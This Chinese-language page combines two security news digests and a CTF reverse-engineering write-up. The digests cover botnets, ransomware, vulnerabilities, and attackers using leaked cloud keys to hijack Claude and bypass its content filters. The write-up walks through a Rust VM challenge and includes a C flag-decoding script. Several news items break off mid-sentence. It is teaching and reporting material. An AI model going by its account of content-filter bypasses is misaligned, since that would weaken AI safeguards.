6、搭载人工智能功能的网络钓鱼攻击正在增多 https://www.egress.com/newsroom/new-report-reveals-a-rise-in-phishing-attacks-as-commodity-campaigns-and-impersonation-attacks-escalate 根据研究人员的报告，网络钓鱼攻击随着AI技术的广泛应用迅速增长，第二季度钓鱼攻击企图增加了28%。尽管攻击数量增加，攻击手法仍沿袭传统方法，44%的攻击源自已被攻陷的账户，8%来自供应链内部的账户。研究表明，45%的钓鱼邮件携带恶意链接，23%包含附件。值得注意的是，75%的钓鱼工具包在暗网上出售时都声称具备AI能力，82% 7、新型僵尸网络针对 100 个国家发起 30 万次 DDoS 攻击 https://www.freebuf.com/news/412218.html 近日，网络安全研究人员发现了一个名为 Gorilla（又名 GorillaBot）的新僵尸网络恶意软件家族，它是已泄露的 Mirai 僵尸网络源代码的变种。网络安全公司 NSFOCUS 在上个月发现了这一活动，并称该僵尸网络在今年 9 月 4 日至 9 月 27 日期间发布了 30 多万条攻击命令，攻击密度之高令人震惊。据悉，该僵尸网络平均每天会发出不少于 2万条分布式拒绝服务（DDoS）攻击的命令。 8、PHP 中发现多个漏洞，提示紧急安全更新 https://securityonline.info/multiple-vulnerabilities-discovered-in-php-prompting-urgent-security-updates/ PHP 项目最近发布了一个安全公告，解决了影响各种 PHP 版本的多个漏洞。这些漏洞包括潜在的日志篡改、任意文件包含和数据完整性违规。强烈建议所有 PHP 用户立即将其系统更新到最新的修补版本。 9、Linux CUPS漏洞引发大规模DDoS放大攻击 https://www.darkreading.com/vulnerabilities-threats/unix-printing-vulnerabilities-easy-ddos-attacks 近期，关于Common Unix Printing System（CUPS）的安全漏洞引发了广泛关注，特别是其被利用进行大规模分布式拒绝服务（DDoS）放大攻击的风险。多篇研究报告指出，攻击者可以通过精心构造的数据包触发CUPS服务器的特定行为，从而实现对目标系统的网络攻击。 10、全球近 100 万台 DrayTek 路由器存在严重漏洞 https://securityonline.info/draytek-patched-multi-flaws-in-routers-including-cve-2024-41592-cvss-10-0/ DrayTek Vigor系列路由器最近被曝出存在多个严重安全漏洞，这些漏洞可能导致远程代码执行、命令注入、XSS攻击以及Telnet服务的安全问题。这些漏洞不仅影响全球数百万台设备的安全，还可能被用于间谍活动、数据泄露和作为命令控制服务器使用等威胁行为。 声明 以上内容原文来自互联网的公共方式，仅用于有限分享，译文内容不代表蚁景科技观点，因此第三方对以上内容进行分享、传播等行为，以及所带来的一切后果与译者和蚁景科技无关。以上内容亦不得用于任何商业目的，若产生法律责任，译者与蚁景科技一律不予承担。

实战为主，近日2024年羊城杯出了一道Rust编写的题目，这里将会以此题目为例，演示Rust逆向该如何去做。 题目名称：sedRust_happyVm 题目内容：unhappy rust, happy vm 关于Rust逆向，其实就是看汇编，考验选手的基础逆向能力。在汇编代码面前，任何干扰都会成为摆设。 1、初步分析 64为程序，使用IDA 64打开 通过字符串定位分析点 现在我们知道 inputflag的长度大于 0x15 接下来在汇编层面下一个断点，输入假flag，去观察相关寄存器的值 好像并没有什么内容 继续单步 步过，直到发现下一个要注意的地方！ 字符串长度：0x28 我们继续单步步过跟踪 开辟空间的时候，说明快到真正函数处理过程了。 2、分析加密流程 2.1 base64分割模块 这里简单将 3 字节变成4字节的操作，称之为 base64分割模块 这里举个例子 输入的："111" ->二进制字符串 001100010011000100110001 经过base64分割模块 ->001100 010011 000100 110001 发现程序执行完后正好是这样的结果 2.2 组合 举个例子： 假如分割之后的4字节为： 0xC、0x13、0x4、0x31 那么组合后的字符串 rax = 0xC rcx = 0x1300 edx = 0xB1130C18 2.3 VM处理模块 发现func3 非常乱 并且频繁调用sub_40A800() 发现这是一道VM类型的题，那么VM的题加密应该会很简单，基本是异或之类。 在 sub_40A800 里面找到 异或，下断点 这个al每经过两次就是秘钥 解题脚本 int main() {   //提取的密文   unsigned char s1[] = { 0x00,0x82,0x11,0x92,0xa8,0x39,0x82,0x28,0x9a,0x61,0x58,0x8b,0xa2,0x43,0x68,0x89,0x4,0x8f,0xb0,0x43,0x49,0x3a,0x18,0x39,0x72,0xc,0xba,0x76,0x98,0x13,0x8b,0x46,0x33,0x2b,0x25,0xa2,0x8b,0x27,0xb7,0x61,0x7c,0x3f,0x58 };   //提取的秘钥   unsigned char s2[] = { 0x18,0xb1,0x9,0xa4,0xa6,0x2a,0x9e,0x1b,0x96,0x57,0x5d,0xad,0xae,0x75,0x65,0xac,0x9,0x8c,0xa0,0x76,0x47,0x2c,0x10,0x1,0x7c,0xf,0xba,0x47,0x95,0x30,0x9b,0x74,0x3f,0x2d,0x2d,0x9a,0x87,0x31,0xba,0x43,0x70,0x2c,0x4c };   unsigned char s3[128] = { 0 };   for (int i = 0; i < 43; i++) {       s3[i] = s1[i] ^ s2[i];   }   //还原base64分割模块   char s4[128] = { 0 };   int j = 0;   for (int i = 0; i < 44; i += 4, j += 3) {       s4[j] = (s3[i] << 2) | (s3[i + 1] >> 4);       s4[j+1] = (s3[i+1] << 4) | (s3[i + 2] >> 2);       s4[j+2] = (s3[i+2] << 6) | s3[i + 3];   }   printf("%s", s4);     return 0; } ‍

1、Medusa勒索软件新变种每月感染超百家企业 https://blog.talosintelligence.com/threat-actor-believed-to-be-spreading-new-medusalocker-variant-since-2022/ 据研究人员最新研究显示，一个名为“PaidMemes”的犯罪分子使用MedusaLocker勒索软件的新变种“BabyLockerKZ”，自2022年以来每月感染超过100家企业。此攻击者通过公开可用的工具，如Mimikatz，利用网络扫描器和恶意软件绕过防御系统并窃取Windows凭证。受害者分布广泛，涵盖欧洲、南美、美国、亚洲等多个地区，主要为中小型企业。PaidMeme 2、Optigo网络交换机现严重漏洞可轻松控制设备 https://www.cisa.gov/news-events/ics-advisories/icsa-24-275-01 Optigo的Spectra Aggregation Switch网络交换机中发现了两个严重的安全漏洞，影响版本为1.3.7及更早版本。根据美国网络安全与基础设施安全局（CISA）的报告，这些漏洞允许远程攻击者无需认证即可接管设备。第一个漏洞（CVE-2024-41925）涉及PHP远程文件包含，攻击者可利用它绕过认证并执行任意代码。第二个漏洞（CVE-2024-45367）则是服务器认证不完整，允许攻击者无需密码即可访问设备。目前尚无补丁，建议限制设备的网络访问。 3、朝鲜黑客使用新型VeilShell后门进行隐秘网络攻击 https://www.securonix.com/blog/shroudedsleep-a-deep-dive-into-north-koreas-ongoing-campaign-against-southeast-asia/ 据研究人员报告，朝鲜黑客组织APT37（也称InkySquid、RedEyes等）近期使用一种名为VeilShell的全新后门工具，发起了一场针对柬埔寨及东南亚其他国家的网络间谍攻击活动。该攻击链通过LNK文件触发的PowerShell代码，部署了多个恶意组件，并利用不常见的AppDomainManager注入技术来执行恶意DLL文件。VeilShell后门通过命 4、Cloudflare阻止创纪录3.8Tbps DDoS攻击 https://www.bleepingcomputer.com/news/security/cloudflare-blocks-largest-recorded-ddos-attack-peaking-at-38tbps/ Cloudflare近日成功阻止了一场创纪录的分布式拒绝服务（DDoS）攻击，该攻击峰值高达3.8Tbps，成为有史以来公开记录中最大的DDoS攻击。此次攻击持续一个月，主要针对金融服务、互联网和电信行业，发起了超过100次超大规模的流量攻击。攻击者利用被感染的Asus路由器、MikroTik设备、DVR和网络服务器，以每秒20亿个数据包的速度轰炸目标网络。 5、LockBit与Evil Corp勒索软件成员在全球执法中被逮捕和制裁 https://www.europol.europa.eu/media-press/newsroom/news/lockbit-power-cut-four-new-arrests-and-financial-sanctions-against-affiliates 在全球执法机构的联合打击下，四名与LockBit勒索软件（Bitwise Spider）有关的嫌疑人被逮捕，九台服务器被关闭。这次行动逮捕了包括一名法国的LockBit开发者和西班牙的一个弹性托管服务管理员。与此同时，俄罗斯国民亚历山大·里任科夫被确认是Evil Corp高层成员，并与LockBit有关联。该行动是“Cronos 6、微软与美司法部联合打击俄罗斯FSB黑客基础设施 https://www.justice.gov/opa/pr/justice-department-disrupts-russian-intelligence-spear-phishing-efforts 微软和美国司法部联手，摧毁了俄罗斯ColdRiver黑客组织所使用的攻击基础设施。该组织与俄罗斯联邦安全局（FSB）有密切关联，利用超过100个域名发起针对美国政府雇员和非营利组织的鱼叉式网络钓鱼攻击。ColdRiver从2023年1月至2024年8月，瞄准了30多家公民社会组织，包括记者、智库和非政府组织，窃取敏感信息并干扰其活动。微软与司法部共查封了107个用于这些攻击的域名。该行动是 7、Red Barrels遭网络攻击致游戏开发进度延迟 https://www.bleepingcomputer.com/news/security/outlast-game-development-delayed-after-red-barrels-cyberattack/ 加拿大知名游戏开发商Red Barrels因遭受网络攻击，其热门游戏《Outlast》系列的开发进度面临延迟。虽然玩家数据未受影响，但公司的内部IT系统和部分数据被入侵，导致生产时间表受到冲击。Red Barrels已采取紧急措施保护系统，并聘请外部网络安全专家展开深入调查。目前，该工作室正与潜在受影响的利益相关方及相关机构沟通，并为员工提供支持。此次攻击可能对《Outla 8、Ivanti确认攻击者已利用旧的关键漏洞 https://www.cisa.gov/news-events/alerts/2024/10/02/cisa-adds-one-known-exploited-vulnerability-catalog Ivanti确认其Endpoint Manager中的一项旧SQL注入漏洞被黑客利用，允许远程代码执行。该漏洞编号为CVE-2024-29824，尽管公司已在5月发布补丁，但仍有未及时更新的系统遭受攻击。该漏洞CVSS评分为9.6，存在于patchbiz.dll文件中，攻击者可通过操控SQL查询来执行恶意代码。Ivanti拥有全球40000多家客户，其中包括88家《财富》100强公司。网络 9、苹果iOS 18.0.1修复密码泄露和音频录制漏洞 https://support.apple.com/en-us/121373 苹果发布了iOS 18.0.1和iPadOS 18.0.1更新，修复了两个安全漏洞（CVE-2024-44207和CVE-2024-44204）。其中，CVE-2024-44207漏洞允许攻击者在麦克风指示器激活前，捕获消息中的短音频片段；CVE-2024-44204则是逻辑问题，可能使VoiceOver功能读取用户保存的密码。这两个漏洞已通过改进的验证和检查机制修复。苹果表示，目前尚未发现这些漏洞被实际攻击利用的案例。 10、黑客劫持AI模型用于非法角色扮演 https://permiso.io/blog/exploiting-hosted-models 近六个月来，针对生成式AI基础设施（如AWS Bedrock）的攻击显著增加。攻击者利用暴露的访问密钥，劫持受害者的生成式AI（GenAI）基础设施来支持自己的大型语言模型（LLM）应用。研究人员发现，攻击者通过绕过模型的内容过滤机制，搭建了一个用于性角色扮演的AI聊天应用，允许用户与AI角色进行一对一对话。部分对话涉及暴力和非法内容，甚至包括儿童性剥削材料（CSEM）。这些攻击主要瞄准Anthropic的Claude模型，但也波及其他云平台（如Azure、GCP）及其支持的模型（GPT4、Mi 声明 以上内容原文来自互联网的公共方式，仅用于有限分享，译文内容不代表蚁景科技观点，因此第三方对以上内容进行分享、传播等行为，以及所带来的一切后果与译者和蚁景科技无关。以上内容亦不得用于任何商业目的，若产生法律责任，译者与蚁景科技一律不予承担。